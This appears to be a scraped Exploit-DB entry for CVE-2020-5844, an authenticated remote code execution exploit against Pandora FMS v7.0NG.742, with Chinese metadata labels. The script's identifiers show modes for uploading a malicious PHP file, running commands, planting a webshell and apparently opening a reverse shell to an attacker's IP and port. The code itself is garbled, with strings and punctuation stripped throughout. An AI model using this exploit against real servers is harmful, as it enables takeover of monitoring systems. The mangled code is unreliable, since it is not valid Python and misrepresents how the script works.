标题: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50961 CVE: 2020-5844 类型: WEBAPPS 平台: PHP 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)
# Date: 05/20/2022
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz
# Version: v7.0NG.742
# Tested on: Pandora FMS v7.0NG.742 (Ubuntu)
# CVE: CVE-2020-5844
# Source: https://github.com/UNICORDev/exploit-CVE-2020-5844
# Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.





     requests

    f
    exit
 sys
 time
 urllibparse


 
    red  
    gold  
    blue  
    green  
    no  


 
    rf


 
    r
    exit


 spins

     
         
             cursor  
                 cursor

    spinner  spinning_cursor
     _  spins
        sysstdoutwritespinner
        sysstdoutflush
        timesleep
        sysstdoutwrite


 exploitMode targetSess

    UNICORD_ASCII

    
    f
    f
     targetSess   
        f
     targetUser   
        f
        f

     exploitMode  
        f
     exploitMode  
        f
     exploitMode  
        f
        f
    f

    loading

    
     targetSess  
        
            getSession  requestspostf data targetUser  targetPass  
            targetSess  getSessioncookiesget
            f
               getSessiontext
                f
        
            f
            exit

    
    headers  
     f
     
     
     
     
     
     
     
     f
     
     
     
     
     
    
    params  
         
         
    
    cookies   targetSess
    
    data  f

    
    
        response  requestspostf headersheaders paramsparams cookiescookies datadata verify
    
        f
        exit
    statusCoderesponsestatus_code
     statusCode  
        f
    
        f
        exit
    loading

    f
    loading

    
     exploitMode  
        f
        f

    
     exploitMode  
        response  requestsgetf
        f
        responsetext

    
     exploitMode  
        shell  f
        
            requestsgetftimeout
            f
        
            f

    exit

 __name__  

    args  
    modes  

    
    targetIP  
    targetPort  
    targetUser  
    targetPass  
    targetSess  
    command  
    localIP  
    localPort  
    webName   
    exploitMode   

    
     args  sysargv  args   sysargv  args   sysargv  args   sysargv
        

    
     args  sysargv
        
               sysargvsysargvindexargs  
                
            targetIP  sysargvsysargvindexargs  
        
            f
            exit
        
               sysargvsysargvindexargs  
                
            targetPort  sysargvsysargvindexargs  
        
            f
            exit

    
     args  sysargv
        
               sysargvsysargvindexargs  
                
            targetUser  sysargvsysargvindexargs  
        
            f
            exit
        
               sysargvsysargvindexargs  
                
            targetPass  sysargvsysargvindexargs  
        
            f
            exit

    
     args  sysargv
        
               sysargvsysargvindexargs  
                
            targetSess  sysargvsysargvindexargs  
        
            f
            exit

    
     args  sysargv
        exploitMode  
        
               sysargvsysargvindexargs  
                
            localIP  sysargvsysargvindexargs  
        
            f
            exit
        
               sysargvsysargvindexargs  
                
            localPort  sysargvsysargvindexargs  
        
            f
            exit
        exploitexploitModetargetSess

    
     args  sysargv
        exploitMode  
        
             sysargvsysargvindexargs    args
                
            command  sysargvsysargvindexargs  
        
            f
            exit
        exploitexploitModetargetSess

    
     args  sysargv
        exploitMode  
        
             sysargvsysargvindexargs    args
                
                sysargvsysargvindexargs  
                webName  sysargvsysargvindexargs    
            
                webName  sysargvsysargvindexargs  
        
            f
            exit
        exploitexploitModetargetSess

    
    
        exploitexploitModetargetSess URL: https://www.exploit-db.com/exploits/50961